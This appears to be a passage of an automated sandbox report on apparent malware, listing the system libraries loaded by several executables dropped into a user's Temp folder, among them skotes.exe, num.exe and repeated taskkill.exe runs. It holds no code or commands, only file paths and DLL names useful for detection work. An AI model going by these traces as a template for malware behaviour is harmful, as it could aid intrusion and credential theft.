Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\JSB9K8LR5IJBR9A62C6KA1RW.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\K2GPLQXM988TEBRN5R.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001633001\df757a3a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001636001\num.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1001634001\ea19c894e7.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\GQIHH842FUSCNH01PBIJ.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1001635001\582b1c6d88.exe	Section loaded: winmm.dll
